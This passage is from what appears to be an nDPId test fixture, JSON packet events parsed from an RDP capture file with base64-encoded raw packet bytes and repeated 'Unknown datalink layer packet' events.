Lr2xCA3jADSnB09n2\/gt4FtZw"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":859,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":860,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961859,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhNEAAfwYnIcCoAo6sEAK5DT3NDkecwJn5vQ3PUBj1T+MIAADM6qoFOyybhK6nIaiHvbAMY1E7aqUBEwSOJSvluh5xacVW9hjbJ7tqD3lIeuWQGxjQ0NhgVX5C6\/3AEBkJowqKdJBLd2lQ4EBVVvwKaMz6L3bYoGdLbSxGgDLLRUX5GscrCOwfeRRi8fpvvRIJh1X4\/AC4VOX2bzRDPdIYdRvWCZO3V1qn6wdJYkvnsPdK75HJ\/WM7vjMOMugIEAfOvvaA44h8EGd6gYYY+XEAXIWkjcPjahHTR9I3aC4Vtt+b1PzfJn+Rfs\/+meWEVJ\/MwX+wBELppdVS88GM9MPx6SG78EIYc8M6ih2TUDzRbvF8NpFjtOyiSKWcBMrolVTkoxbxN2TECMcODeyQ8fkUXjeW5FTuu2G9vCeUmEA52aMfYuqovUnHGTA9vaduUxoTYKVtSlwc\/2pQSHXsyOvZBvRkSr8wggSm7QuRPItZLuYmLU3dajq2OEFdyYQmYJgAUWszR96wwsrEIcFpDCMzUuAVNDavcvdghMsrSDIO"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":860,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":861,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961899,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnMIUUBAfzDJ\/AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":861,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":862,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":961993,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hNUAAfwYoZsCoAo6sEAK5DT3NDkecwhT5vQ3PUBj1T27wAAAXAwMAMAAAAAAAAAESd66A2ctvy+\/eyEeprU7\/i8zLjT\/4f0eqU+AbgWSi1R9xD1E0WgMGvQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":862,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":863,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":962051,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnMJJUBAf\/jIYAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":863,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":864,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":962381,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhNkAAfwYjocCoAo6sEAK5DT3NDkecwkn5vQ3PUBD1T5cbAAAXAwMGbwAAAAAAAAETJPkbtcYouoqsvHib8LjOgtAyxs+Ol7D8ECS89bH\/+wA\/nE2+4djsjtjovwEdngLkAorpYWENCD9+gmoaVEu8w4cG4isS6j1RhxtPL8YL2cYSwaHtCp9Irr2Fd5rErwkSyTeTgEzZgbn\/D0CACsRwUcG0l0Y+UXEcHh9EaAfKSz3kECImoditW47yFEGqeqD9IF+FnNSX11JwSNX+SrGmQW6k8Tnn8S97sd5MenyYhDXoHTJwzEwbf98fsO+yyws41Xgp3Bj1KJIJ4YJr4xGRWbSZSLAsiQLURJaCTUmyP0CVZHZuOsHJnmYLqE2emjAbLKbyFLrGpHYNag5R6BMPlbjn67lIjjy92RGYzzlZetC8Vw9BVdKjsfik\/kUpgsMCJ\/2gXnEFrB\/uZS0h94vYinDpyLbhLdqa\/RgqT5WO5nuMipuVJUU8j0xT9x5YO0PCJAUlEwUQYeB+SZUqHvDX+o6FPtU\/TWYq9+HK26D+7BVF9yWNxpda0kRek\/Y6DZp6Bbh\/hATMluVOSAoLaZJJSy\/eT\/y\/ByM8Su9je\/FLc0LDz5Q34tE5duxOhlxA5PcZ3BEGibCXBEBIcoT+CIkbw5oMYLg83lL+jaGzvcYtmxoR+CAjv3TO90ktv9l7s0XK625s8n8CcNIBlPuH2qtyDJN3nwKD8+W6kYoFsbaMomaiOSXWWZ8f6tNv\/0\/6TYBfExSEsa3No9SP9ziQkaO2P\/wpeuDK4uIyZjl2+1ZCVc24PLzty23s2x3URRBy9RFHQG0iLAGSMNpIbLOYZb6nJoOAJwyk9tQxhff1kuvtxV72Usub2z8NXCRoaPn6k7aHSm1XX3S38zEP5Og4oAkRrgcXba8QOb6Zdf8WWVY5eNEXG\/PNnQQV+vGtryvjyRRW\/KAqYUb5sb2aSQ61oB1tTfcFU\/w5HqV\/A4wstL0Cw9csDRZDUcgJBjdhYsanItfAttgizepNDDF0kKPwFti3wVLgDmatgKL+Toi7KW0844UzEgzmeG7cnMlAQlW8b2bLH5NFdnDmANdTPXl3p7gVOKjwNYxHkiaKya4SOYxsXIz47vb8OOgmAYa\/GMsvziGwiKm55rWBnE2qE3vtXZWmABBHJlDZAX1RIcUlrrNYtEdHAOCKsdoNGD4d6e7e344rrplfz3Tl4ytnRFJPXaBoFOLgLJeSrAMPLZ3DuezWSmGULB7jgFtOhdYWBh2wtBHQylDMntxITR3zMv\/LejcQt15d9X1FmTlFD6VU+51Vx48QcCaLQyU3Ymh+fergk06L5iswaSMIW+WEK85L\/CxLcPnaLMAT3RKINuOpGPuGN\/zJjjiA\/76NQQwiz6Bz\/ay\/rGQd2pydmL4iACpDi4CiK4+NUw+s1LBSjvznMEXY8EERip0QZ3PttMS\/bAda+6V58Dv6H9uAHq5lFRpDBxyr9B8CFNpY2JyzAGjuEQF\/DjWaOWOJMn3VIuXIaoGCZntvav4KuHFCA6ttR\/ZRTp9B68C1uJ+Zyd75CtNUvTcyUwQK7AXpXR07Enr1qscLhwf0qL0QOy2oVYXc1ljix+2WkHNL\/eQM0iWIEd2fOWZKlua+q1kw0RvlEFecnTiGh6nUamCEah4usivFxrjiot5qlug6Im+DbEvbqNsdVfwtKI+UZ6LXTEdFdtI4UbcFiHgwp\/q8RW0Z5m2kodKS"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":864,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":865,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":962410,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhN0AAfwYnHsCoAo6sEAK5DT3NDkecx0L5vQ3PUBj1T5ifAABtgtSTJbX2UqnXume0tD7N5cqQePMl4TgliDxxYkxaeeMgC61HuLsKmGbY9YFBQVvAiSG4gk50i342RjmsbdkTC1ClMwBM1e5NzEn2LABAHpo22Sqppgp8Mtt0sViFA8+PduxYAYM\/mpLu5PZlvX7L4EJjjNzjNDrX+ScLIwCDNMLCiWnslX2u4cu9s04A3OWmZnR+Gn2Dwfnh+wOGniw1Y3WqcO4gvnoZL2jitG7elTihZQxNtfxPwrl4HVLPb5AoRYNLZsGb46pSGXlP3z9dNcZhnLFSWR\/QiKURNyxDPVrytArsXggJaruLtz0WPNvJXrhe3RSiTT\/fBfKWbMxSw\/HLsOvTdcPj4s5vF1XNmEUVbaHWfOujELXLY7VbA6dpPrcO6SCg0FdyM3GmKdaTPn5bhBfT8bPF30hMRx0dJ\/OU5ciNL81X40xbKZkaEIfIegBC+y70KMdkLTIeLG0jXIyaLqjurLXaur\/aQ6ulEie+AqPz9W3kTVbu"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":865,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":866,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":962438,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Dc9HnMi9UBAfzCvWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":866,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":867,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":963904,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm9Dc9HnMi9UBggAJSsAAAXAwMAROAIO32NJwvhyFZuyjNlMb2KGbPRm+AxhnXTFStfkPW8ScFM0Sk0kMtj69+JSH3xPuULRCqSIZkZVlasMD+stD+IHsQB"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":867,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":868,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":964980,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm9DhhHnMi9UBggANLWAAAXAwMAROAIO32NJwviUewYyCR2+DEY\/5nvNS++ux2QVNs+jGgag1KFUeaSBvOk6595pd8d3kbsuCmEV\/CI4qB1ggemlPjaq\/Bw"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":868,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":869,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":965110,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9DmFHnMi9UBggANUiAAAXAwMAMOAIO32NJwvjSy5ktpcd8edQimIl+IYSvhJHTGwbG+KyHEgm7UIu2v0z3LqckZvEpA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":869,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":870,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":965189,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9DpZHnMi9UBggALC3AAAXAwMAOOAIO32NJwvk2+kiSf0\/yDFr2osT0+ztk0S\/MiGkUAIaLd4PawrdrT\/Qv6qitv8GyL1AOSkomz+i"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":870,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":871,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":965273,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9DtNHnMi9UBggADqxAAAXAwMAMOAIO32NJwvlCcmYKUmsZ76MOR6RDNcUtUvjiRp4bRZAFDBFdbmwBYed7Rh3umrrBg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":871,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":872,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":965348,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9DwhHnMi9UBggAFvmAAAXAwMAOOAIO32NJwvmqtmfUr3t93cXD2bnwAg42fbnu1iSJZfOTe7hgY3mYKODEu4Xwftic5v\/LstQ+2Pv"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":872,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":873,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":965480,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9D0VHnMi9UBggABb0AAAXAwMAMOAIO32NJwvnONzUM9YRDUk1QjrNlJfCAJpgpniwyKhULtcYkxV9OVxbwE0\/foQ0Yw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":873,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02068{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":874,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":981507,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhOEAAfwYjn8CoAo6sEAK5DT3NDkecyL35vQ3PUBD1T8ocAAAXAwMGbwAAAAAAAAEUhrwkYxs\/cVhn+3F3WAb0QJ0KKIvHZPClxJxpt7Uyw91SXzfj7AHHK302Fwi\/KRhhsyp5Ew5vBEBqTjG35sGnsfLvxFvUP2B4noQZmvZ1XFWfiZle289o1U4rbO+urpbtuy3jRYA0fDkpItJdRXkmvXuKfjYNFU\/AnNUvSdweX\/XpmqDg0OOIenFMGjMmIGuAAMqkS+rhkcGwiO+uHuXNDxqzWsJfwrz9E3nK7XkL3lQxs0E5iOogmVW0+WshzloG1yYaK3aUL4N57BcZkjA6kooOom2Zf49cnnWNDjHhR8LSmexrmrKgmFJbLH3JyK\/u532FH68UYKxQuMlumhhetxw4kWjkB5ALQbGLeQ2bSOklcOLkhlzzLUKE77aOWzHoOsv30W557uUCHqqFeLxyvwPCew7OAQ6AvGhg+gMP3SgEpgmMLLYlkyBhQl9W86HhDDmw71NtSF5zeRMFpU3ViDgekmJhTqBgFtcUCtHwhspVI1zgMzoaA0nCVE7qKxAANCmJSI2LYP7Oq2pXSo+OokiXxfyQMde3zBIEmJfIzKzOeDgPvPqre8obdoxP5qFk6DQeBSFc1l5uUWF58H6OdsNUYfOPDE25cKPL70tpqm7VrYabjfGvJmpNT6ZczzCfAZiTV8dV\/EUmpJhwYpvHCSiHq8gcgE34RAHXkuRtfh3yF04PINcpbjUGCqp0yqQAATJA9d+A7Hpg9jApdlcyJa9wxoPPV7c3IgF+hI4nRQ\/gAjXA+5OzTQ7XBXpF9A7NYnZh4ScjhTGOnM1mnJD1xANFVr+jwQ3D6bvq2E3HAm9Pq+myVWt9Zs4hhbG0gd0hhlDrLBBKeOVZtI+oSPwcj+CgI2fqctOjTmZQO53PIoinNB14CufTvKdLJrooba2g8IQq31pbv7l6i9cbXsl3wvaFKYeb7mZU3BajbVkeQVRWGM\/qypRUi5gODayWCJqim+h59xBlVP8F+NgA+Dc9SbmsmSRtZB2JsrVAP24QWV9FAuWr\/ErL2ANiA6I8jekgLsMxhjt6hKNxTkhaEi2OZ\/RmU+Qe\/dXfN7KRaebMQPWP94tyKAFX25MZ95h\/mSQApUM4L6jFyuk\/GJUmZ95p5IrSotZlH7z9ozl\/ygnnds9dSFU+eHb6\/VnL4p2xuV\/YRmDwJBgDZeKnflkgy3v1BQ0t2F38C3q0fklzWFuAzGQ5cw+gyrJnRdu1xeIy+UpcHhiF6k5GzHYJwwrQnauOqtLoQZXU6mztjgKrh3V6KeenPKWeOEPJOgy0nQPShIWoc5fKZtlIKhyL45cXRdQzwgzT+JcMFZhyllDO06JvLeURVEX0DIfyLMJ4deVYtBabM1J+VGFNHmOvaBsYLXH6uaAf7ULtUSBt3GiXzr5kU3GgmkfaD8batavypD5t5zfyuPJwUu+qq4LUVvMdy4iTjQOLJqPJWFcvFCf5IB+drnuccgj8m7i3flQZPGNT11Lk9EuD7V8YZrioA+LgHRVuSZlMnrZc0l7eA3aV+XYeaJTwVlo5Lv36DyiKAR44GT9mqjVUM3FjBFVa4YT67cUZiybQr7RSuH1wtx+JIRzLhJuZXWv0cRF+gSbNGXCBl9raAlFwMHBQm8mwG2hbG\/glC+0z1m\/6PHnMJHR+dQo41vsi1NpcNXRM3S17p8bvy5eFJzedG4rCIbzsS2R4"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":874,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":875,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":981792,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhOUAAfwYnHMCoAo6sEAK5DT3NDkeczbb5vQ3PUBj1T35dAADRYT89entS4Z+cUuxBnss3M2jywCpZ1Qtu+bN8ivJbI\/LcDh23UwA+p9UfFyAKcVW6WIqrcTJjlQjWNN37ZVO8vxMGEOfQQvyJK2OO4bzsYCjYRFlhQKEKl4PFmjN5zgiTq9qvCvLnpfzLTp6PPduSHc5i1yVEUjHS8sGa7yxeDF4I2sOlymmpY8Yfyt\/yVmuOIplZnOUVNz5dQxnd1tdc74ctUGN7FfVh77QrDQpesUWueZHDLTuGkG9FcwKkbGhTm2Qjq2G+n3+3hsTyzUq5Z0tkMx6LkO1U21PSX3H79EVonltQ4qb7YlcrL7ZJDGNYlbvTX5XF8CpZbSvoyvBr4hJsJY3LXcKGlvnKgBpdmCegjql221+9N3ADuysP111D5kRzvhi3pfr6W3c1JgJHuGaxM4ewZOv4mmiz1EXwmTJ3gcGf4uinL2Csjm\/nDPnSwm\/YkrqRK7tn\/0UPEkEa9a+xtefXxXbgMR9mIrgziiuXFIDYtPwFQ9FH"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":875,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":876,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":981833,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9D3pHnM8xUBAf9COPAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":876,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":877,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":982294,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hOkAAfwYoYcCoAo6sEAK5DT3NDkeczzH5vQ3PUBj1T2QuAAAXAwMAMAAAAAAAAAEVpDGtYhQ4C2tSHwnlHTMMf0\/bUAjs89WATcbsqN\/mEh4Ts2rnMHI5xQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":877,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":878,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":982580,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9D3pHnM9mUBAf\/iNQAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":878,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":879,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":982742,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9D3pHnM9mUBggAEb6AAAXAwMAOOAIO32NJwvoA0syiaftNlyB0Ec1cGf+WEEPEJGJ4nnMbk5BmXu8DnVjxg20NP8Or2mDKbymx4x3"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":879,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":880,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":11762,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhO0AAfwYolcCoAo6sEAK5DT3NDkecz2b5vQ4YUBD6AEqvAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":880,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":881,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":11876,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhPEAAfwYolMCoAo6sEAK5DT3NDkecz2b5vQ6WUBD5gkqvAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":881,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":882,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":11941,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhPUAAfwYok8CoAo6sEAK5DT3NDkecz2b5vQ8IUBD5EEqvAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":882,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":883,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":11998,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhPkAAfwYoksCoAo6sEAK5DT3NDkecz2b5vQ96UBD4nkqvAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":883,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":884,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":12059,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hP0AAfwYoXMCoAo6sEAK5DT3NDkecz2b5vQ96UBj4ngkOAAAXAwMAMAAAAAAAAAEWeDY0gDXklD5tlXHpG17vB+lIGGBTwULvSFQjXT27fgZR+22EcaAONg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":884,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":885,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":12115,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9D7dHnM+bUBAf\/iLeAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":885,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":886,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":12611,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhQEAAfwYjl8CoAo6sEAK5DT3NDkecz5v5vQ96UBD4nqY+AAAXAwMGbwAAAAAAAAEXMK6S7Bo+juTQv82pMe9wvkuFe\/fSpIdPElnsHE8s+WtbNdmP418zdzXeL+D9X0pD8x43cptmCKMKuduRCAUxg3VaiKzyCa\/VtNRhdyPI8jxKNwQCfD+3vqnJBhBGxN1UoKCEp+MwxD3tvr69Ow6T4KYG5bMP7bvzeAjeCWyp\/ESFfoJvXrgC8+a7vTUXX7kBSj2PTZyZZOwju3OKWgZA\/cpZ6NW4hm1ToRCOw70iqkZV6xHqB\/3CRRjonea2lhx3Vp1UiW8NM7Z5woQI1s7+AEYnvDnbILbPapmLD1F1xs4d\/zKSyblWuewspvWWsZeeeCxtiPivXZbtpU0VhTyuPKG7seWWXpwckHiDWSSornWzAOU+udvJK\/szM8Q8+udhYlynq7hSouU9B54oMbpuEHq1TkpzGV3hO7H3FJp0l1bjMbors5Z8diRTSp4rmyCRNWV+j2qnWx+dT+wy7QAMoxcmB\/mNRdoYT9Ltjej0tzBhrlgefzheYOFk9W7Rhz1EcMQhFVfqs1kY8ETCxpcJIPBidhjovyOEHT9mLTWcHY\/0CPI0WzDBCwrLm0noyZ81Y91xkr6eYe0dRL4DZKMCXj+t0ICEfu\/a2nxqbKlfdMlytPuGvtUOyxGzgFNmkKUBWN2JzBa7CwTiEmBBHB9y7mNIwdD\/\/DNYh